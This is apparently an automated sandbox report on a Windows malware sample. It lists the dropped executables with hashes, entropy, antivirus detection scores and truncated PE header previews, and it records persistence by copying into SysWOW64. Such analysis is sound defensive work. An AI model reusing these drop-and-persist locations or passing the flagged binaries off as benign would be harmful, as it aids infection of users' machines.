Preview:	................................................................................T...X....T2@.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.................................................................... ......._jF...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.T...X...I\2@....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11262246064646632
Encrypted:	false
SSDEEP:	12:ttsjXm/Ey6q9995qGu1mK2P3qQ10nMCldimE8eawHza1mKstP:xl68MGu1iPLyMCldzE9BHza14F
MD5:	68886B0A5811A0A2CD8E4FE4F8F7B79B
SHA1:	AD7CA336D3562569DC0A4BEF29726F31DDC4285D
SHA-256:	810E1C295F835F33BCD2A363AA3EA3D1262324C9881D8EF01A9C8DAEE8119558
SHA-512:	51E02165BFCAC995F975258532F924462B9B13CBC0A57E0E736A6B59729C936855885461593DF5A9364BCEEA51A5B2504177EED9F668740442A87BAA939D1522
Malicious:	false
Reputation:	unknown
Preview:	................................................................................T...X...3.1@.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.................................................................... .......XjF...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P.T...X....1@....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1547.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3576320
Entropy (8bit):	7.9976863291960605
Encrypted:	true
SSDEEP:	49152:Y+RSFqeQKgdJee+ntOkgd+TuRCg+687ZEYNFvKfDIcK8nAONaGGh:Yb8eQKg+tOV0T0z875NFKfDPK8nASA
MD5:	5800952B83AECEFC3AA06CCB5B29A4C2
SHA1:	DB51DDBDF8B5B1ABECD6CFAB36514985F357F7A8
SHA-256:	B8BED0211974F32DB2C385350FB62954F0B0F335BC592B51144027956524D674
SHA-512:	2A490708A2C5B742CEB14DE6E2180C4CB606FCCEB5F17DE69249CF532EDC37B984686B534A88AE861CC38471C5892785C26DA68C4F662959542458C583E77E38
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@...........................S......!7.....................................\|.N. .... M...................................................................................................................... ..........................@................0......................@................@...z..................@............ ...0......................@...........x+...P......................@.............1.........................@....rsrc........ M......L0.............@....28gybOo......N.......1.............@....adata.......pS.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1FD7.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 63%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\27D7.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	557664
Entropy (8bit):	7.687250283474463
Encrypted:	false
SSDEEP:	12288:fWxcQhhhhhn8bieAtJlllLtrHWnjkQrK8iBHZkshvesxViA9Og+:fWZhhhhhUATlLtrUbK8oZphveoMA9
MD5:	6ADB5470086099B9169109333FADAB86
SHA1:	87EB7A01E9E54E0A308F8D5EDFD3AF6EBA4DC619
SHA-256:	B4298F77E454BD5F0BD58913F95CE2D2AF8653F3253E22D944B20758BBC944B4
SHA-512:	D050466BE53C33DAAF1E30CD50D7205F50C1ACA7BA13160B565CF79E1466A85F307FE1EC05DD09F59407FCB74E3375E8EE706ACDA6906E52DE6F2DD5FA3EDDCD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ.....o...g.'.:.(3...32.....f.....C'B{b.........+..R...d:.....Q..............................................................................................................................................................................................PE..L....5...............0..$...*........... ...`....@..........................0.......@....@..................................p..........P)...........................................................................................................idata...`.............................`.pdata.......p......................@....rsrc...P)......0...................@..@.didata..........x..................@.....................................................................................................................................................................................................................................................................................................................g..L.r9..v9.<iP.hL[Kc...",..

C:\Users\user\AppData\Local\Temp\3A08.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3590568
Entropy (8bit):	7.998676115843541
Encrypted:	true
SSDEEP:	49152:EL+mxBl/yyJfM7/v97b/WOpE93+VBgpPhaOJxZJp43eDEC9qMF3yJYztuHNaWq5Y:ESyLJg5VE93kc5nZJcTAqO7Jut8y
MD5:	980CC192801D493B45B4ABFC6EEE9AD7
SHA1:	FB0924030CDE9BEFB4D2C39BD71F14AC252E80B1
SHA-256:	22CB98A4832824ADC290E8A9541B50228F4F75FB1A8E621FD80D4D2BE7ED73F9
SHA-512:	F66D5B6EA4C1E5961C01528D79E04AE047A869EB9968FF8F173A1FEC34DA91883A839CB52D415A32BF3080AA1232B022DC9C077719F14F60930BFDB7081F6137
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 86%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....a.............................0............@..........................0W......48.....................................\|\|R. .....P...............6..#..................................................................................................C...........................@................0...z..................@....................r...~..............@............ ..........................@............)..........................@.............2......./.................@....rsrc.........P..:....0.............@....Pl7qR7h.....pR.......1.............@....adata....... W.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6CF.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3576320
Entropy (8bit):	7.9976863291960605
Encrypted:	true
SSDEEP:	49152:Y+RSFqeQKgdJee+ntOkgd+TuRCg+687ZEYNFvKfDIcK8nAONaGGh:Yb8eQKg+tOV0T0z875NFKfDPK8nASA
MD5:	5800952B83AECEFC3AA06CCB5B29A4C2
SHA1:	DB51DDBDF8B5B1ABECD6CFAB36514985F357F7A8
SHA-256:	B8BED0211974F32DB2C385350FB62954F0B0F335BC592B51144027956524D674
SHA-512:	2A490708A2C5B742CEB14DE6E2180C4CB606FCCEB5F17DE69249CF532EDC37B984686B534A88AE861CC38471C5892785C26DA68C4F662959542458C583E77E38
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@...........................S......!7.....................................\|.N. .... M...................................................................................................................... ..........................@................0......................@................@...z..................@............ ...0......................@...........x+...P......................@.............1.........................@....rsrc........ M......L0.............@....28gybOo......N.......1.............@....adata.......pS.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\743F.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320000
Entropy (8bit):	6.684181622705276
Encrypted:	false
SSDEEP:	6144:PgjJDJ13d07SuLbkayXpkU9xb1V2PyiORsBe:Pgj/13d4lkXWsxRV25OR
MD5:	F05279062D67B1F816420725086C77AB
SHA1:	4932E057633CB1C26D4086DAEC0B46E9F8D53C92
SHA-256:	8C0272F6D0136BB8ADEB659D8DE19A4BE68A81FC018587275E045103FC01B49D
SHA-512:	040875AE4CB8F5D0F6DE40393C35F567131263C23C963352BB7E483E93C56C847B94C8388ABDC341704635344019D66736A9BA0F25A3D1D54D964E42434DB623
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L....n._............................ .............@.................................T.......................................T...(...................................................................0...@...............@............................text............................... ..`.data...............................@....lemel..............................@....lobil..............................@....cixu...............................@....rsrc...............................@..@.reloc...F.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7D0A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	537088
Entropy (8bit):	5.840438491186833
Encrypted:	false
SSDEEP:	12288:SV2DJxKmQESnLJYydpKDDCrqXSIXcZD0sgbxRo:nK1vVYcZyXSY
MD5:	D7DF01D8158BFADDC8BA48390E52F355
SHA1:	7B885368AA9459CE6E88D70F48C2225352FAB6EF
SHA-256:	4F4D1A2479BA99627B5C2BC648D91F412A7DDDDF4BCA9688C67685C5A8A7078E
SHA-512:	63F1C903FB868E25CE49D070F02345E1884F06EDEC20C9F8A47158ECB70B9E93AAD47C279A423DB1189C06044EA261446CAE4DB3975075759052D264B020262A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 89%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?y...............0.............I... ...`....@.. ....................................@.................................`I..K....`............................................................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@....reloc...............0..............@..B.................I......H............?..........hX..}............................................(......0..,.......(d...8.....~....u....s....z&8.........8...................................(d...(.......j................................(.....~(....(^...8....(.........8........................................0..............0...................................(......0.....................0..............(....z.A.........z.A............................................*.......

C:\Users\user\AppData\Local\Temp\B50.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	323584
Entropy (8bit):	6.705624152574406
Encrypted:	false
SSDEEP:	6144:gSsmY+jbtJGpwWuIzaVxZOJ4vuyl2ZCA70FAStpV:gSsmY+ft0pw0zoMiv3l2F7I
MD5:	FF0D190D6DF636D7DE53B8B6B683BC6E
SHA1:	3C9768818A5C467062F9E34DCFA8FAEFE3B507C6
SHA-256:	012CE05F8263D161D4387749446CB3DF3240FD33CF71DFB3F48DC4F4C9354298
SHA-512:	35A97610BF41FED4D3A8EE7EEE7E4403CC587B550B286854A62EEAE0353BE4C84625D1B30E1083E5DD60DB1F8788D0AF940162E10C314ABC731981375B143E11
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L....._..........................................@.................................$3..........................................(...................................................................0...@...............@............................text...b........................... ..`.data...............................@....dubom..............................@....xak................................@....zawaxig............................@....rsrc................$..............@..@.reloc...G.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E5C8.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 63%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F6C0.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	373760
Entropy (8bit):	6.990411328206368
Encrypted:	false
SSDEEP:	6144:GszrgLWpo6b1OmohXrIdF5SpBLE4Hy+74YOAnF3YFUGFHWEZq:Gsgq3b1Omsb7pBLEazsYOSGFHFHW
MD5:	8B239554FE346656C8EEF9484CE8092F
SHA1:	D6A96BE7A61328D7C25D7585807213DD24E0694C
SHA-256:	F96FB1160AAAA0B073EF0CDB061C85C7FAF4EFE018B18BE19D21228C7455E489
SHA-512:	CE9945E2AF46CCD94C99C36360E594FF5048FE8E146210CF8BA0D71C34CC3382B0AA252A96646BBFD57A22E7A72E9B917E457B176BCA2B12CC4F662D8430427D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 81%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..U(...(...(...6.).1...6.?.W....l..+...(.......6.8.....6.(.)...6.-.)...Rich(...........PE..L...a.R`.....................v......@.............@..................................&..........................................(........{...................0..........................................@...............8............................text............................... ..`.data...............................@....gizi...............................@....bur................................@....wob................................@....rsrc....{.......\|..................@..@.reloc..4F...0...H...l..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F805.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	301056
Entropy (8bit):	5.192330972647351
Encrypted:	false
SSDEEP:	3072:4/ls8LAAkcooHqeUolNx8IA0ZU3D80T840yWrxpzbgqruJnfed:Ils8LA/oHbbLAGOfT8auzbgwuJG
MD5:	277680BD3182EB0940BC356FF4712BEF
SHA1:	5995AE9D0247036CC6D3EA741E7504C913F1FB76
SHA-256:	F9F0AAF36F064CDFC25A12663FFA348EB6D923A153F08C7CA9052DCB184B3570
SHA-512:	0B777D45C50EAE00AD050D3B2A78FA60EB78FE837696A6562007ED628719784655BA13EDCBBEE953F7EEFADE49599EE6D3D23E1C585114D7AECDDDA9AD1D0ECB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2t..v.i.v.i.v.i.hG..i.i.hG....i.hG..[.i.Q...q.i.v.h...i.hG..w.i.hG..w.i.hG..w.i.Richv.i.........PE..L.....b_.............................-.......0....@.......................... ...............................................e..P....................................2.............................. Y..@............0...............................text............................... ..`.rdata..D?...0...@..."..............@..@.data...X....p...$...b..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tvdcssmj.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\743F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11360768
Entropy (8bit):	3.81005892864825
Encrypted:	false
SSDEEP:	6144:PgjJDJ13d07SuLbkayXpkU9xb1V2PyiORsBe:Pgj/13d4lkXWsxRV25OR
MD5:	AB58CC4BF8687E3F671DAC84A0675E96
SHA1:	8221652C8A4EA2EB2FCC1FB4DA17D74AD23D91D9
SHA-256:	4162CC11CC30F7DB7C8A151252A7E63E78DD4C03C995E2AB6E225DC811B8FD48
SHA-512:	3EB09EE0A43631D53B6364D4D8CBBE9CEEBE9D2CA5DCC2F1022F75BDA4232223C0F98E9FDC804BCE8642BBC50C4FEE9E1D79DB655D3F729EAE5393B55D6BF150
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L....n._............................ .............@.................................T.......................................T...(...................................................................0...@...............@............................text............................... ..`.data...............................@....lemel..............................@....lobil..............................@....cixu...............................@....rsrc...............................@..@.reloc...F..........................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001YS (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11008162512076788
Encrypted:	false
SSDEEP:	12:26+k1jXm/Ey6q9995qGq3qQ10nMCldimE8eawHjc1F1f:26b4l68MjLyMCldzE9BHjcfd
MD5:	EBCE4E8FF3E15A399552D4690AC37736
SHA1:	79211AAAE61CE12A7C8E53974D5EF0231D3FBF57
SHA-256:	26C30570B0A71B1B711F1618D8F0530F7BD3F6C8C24239C83A499EFA64C65529
SHA-512:	53DB29D3009663FAF11E223BB73E6DD4CD549C7EFD29834F77EF495BE4BC9A3FC3F976D0B5EF86EC306FB3B8E867C575DBD853D33BF6C6149E70921D35D4B796
Malicious:	false
Reputation:	unknown
Preview:	................................................................................T...X....T3@.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.................................................................... ......._jF...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.T...X...M\3@....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.1125318481978825
Encrypted:	false
SSDEEP:	12:L0jXm/Ey6q9995qQ1miM3qQ10nMCldimE8eawHza1miI80P:tl68MQ1tMLyMCldzE9BHza1tI8k
MD5:	9C90F06CC6ACB3A8B7C71F4B9E3EC5A3
SHA1:	805FAA6F88EBD4C2CF661944EE2B62A41AAF2FBB
SHA-256:	3A5F2158913B717BADB36A34B9084E5FF33C8E7D9727ED520A3C24EF69C3DC1A
SHA-512:	4147E871711095822EA66BDCFB5BAA56DAC86493614B40A1A7299C3F175EE669D8648741A2D73F9A14FF920353B627AADFB1285D1D20922061BD49B0EF9D0558
Malicious:	false
Reputation:	unknown
Preview:	................................................................................T...X....T2@.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.................................................................... ......._jF...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.T...X...I\2@....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl.0001d. (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11262246064646632
Encrypted:	false
SSDEEP:	12:ttsjXm/Ey6q9995qGu1mK2P3qQ10nMCldimE8eawHza1mKstP:xl68MGu1iPLyMCldzE9BHza14F
MD5:	68886B0A5811A0A2CD8E4FE4F8F7B79B
SHA1:	AD7CA336D3562569DC0A4BEF29726F31DDC4285D
SHA-256:	810E1C295F835F33BCD2A363AA3EA3D1262324C9881D8EF01A9C8DAEE8119558
SHA-512:	51E02165BFCAC995F975258532F924462B9B13CBC0A57E0E736A6B59729C936855885461593DF5A9364BCEEA51A5B2504177EED9F668740442A87BAA939D1522
Malicious:	false
Reputation:	unknown
Preview:	................................................................................T...X...3.1@.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.................................................................... .......XjF...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P.T...X....1@....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\rwjfsvd Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320000
Entropy (8bit):	6.688755474337002
Encrypted:	false
SSDEEP:	6144:f4QIFL5D8E3weiB+aHjHvEaTvpwr9UopI2wPgnPHPYU:wQQp8yweXUvEkSJUaI2vnP
MD5:	B45BF93A4B27690392433619C5006E8B
SHA1:	9EC3AD4B028AB127E71FD755263DD0AA8A17260E
SHA-256:	E997341AB2422F5471F4C9F1DF84F7A52E16FA38D64E6E0F4F94859CC234E2F8
SHA-512:	42F31ACF12BDF50AB9A5525D31157C6E9C09C1013CD4502A0DEDB5A339EC6D5AB6AA268073CF05B25FBE662F5066086ADD8B7701DE9010AACC0E4EAFEBECB275
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L....B.`..........................................@.................................O...........................................(...................................................................0...@...............@............................text...2........................... ..`.data...............................@....semunil............................@....wanexic............................@....sutolac............................@....rsrc...............................@..@.reloc...F.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\rwjfsvd:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20220114_125823_481.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	3.37996320573133
Encrypted:	false
SSDEEP:	96:hCBjh/o+DzY5Ol09f/YxhHCwEII2l19T1ky5O4Y618T2vjFzHNMCGdJR4j5N:Qzw3Ft2/4ZC2e
MD5:	31C5A57ACE4EC5D40EAA7DD3CE59FFEC
SHA1:	668A6BB005B79A1F117D136F275301AA8D256D91
SHA-256:	45AF3E33BD3FBAB4101529BF74FF10C2AAC32583C6BE8F0D631E161143C57CEE
SHA-512:	8A60380A42FA9BBEAE1338430417CB14B95B8C44771E43AB3358BB2E717FB3955A4B1AF3BEC4CC9938610C1DB2DA8E5512927371D62B5D86F464A51497770D65
Malicious:	false
Reputation:	unknown
Preview:	.... ... ....................................... ...!............................................................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1..................................................................... ........iF...........8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.2.0.1.1.4._.1.2.5.8.2.3._.4.8.1...e.t.l.........P.P.................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\icpymrdv\tvdcssmj.exe (copy) Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11360768
Entropy (8bit):	3.81005892864825
Encrypted:	false
SSDEEP:	6144:PgjJDJ13d07SuLbkayXpkU9xb1V2PyiORsBe:Pgj/13d4lkXWsxRV25OR
MD5:	AB58CC4BF8687E3F671DAC84A0675E96
SHA1:	8221652C8A4EA2EB2FCC1FB4DA17D74AD23D91D9
SHA-256:	4162CC11CC30F7DB7C8A151252A7E63E78DD4C03C995E2AB6E225DC811B8FD48
SHA-512:	3EB09EE0A43631D53B6364D4D8CBBE9CEEBE9D2CA5DCC2F1022F75BDA4232223C0F98E9FDC804BCE8642BBC50C4FEE9E1D79DB655D3F729EAE5393B55D6BF150
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L....n._............................ .............@.................................T.......................................T...(...................................................................0...@...............@............................text............................... ..`.data...............................@....lemel..............................@....lobil..............................@....cixu...............................@....rsrc...............................@..@.reloc...F..........................@..B................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.688755474337002
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	eIxMVDoQF3.exe
File size:	320000
MD5:	b45bf93a4b27690392433619c5006e8b
SHA1:	9ec3ad4b028ab127e71fd755263dd0aa8a17260e
SHA256:	e997341ab2422f5471f4c9f1df84f7a52e16fa38d64e6e0f4f94859cc234e2f8
SHA512:	42f31acf12bdf50ab9a5525d31157c6e9c09c1013cd4502a0dedb5a339ec6d5ab6aa268073cf05b25fbe662f5066086add8b7701de9010aacc0e4eafebecb275
SSDEEP:	6144:f4QIFL5D8E3weiB+aHjHvEaTvpwr9UopI2wPgnPHPYU:wQQp8yweXUvEkSJUaI2vnP
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I....R..I..g.R...)...R...S.>.R..I....R..I....R..I....R.Rich..R.........PE..L....B.`...........................

File Icon


Icon Hash:	c8d0d8e0f8f0f4e8

Static PE Info

General
Entrypoint:	0x41b6a0
Entrypoint Section:	.text
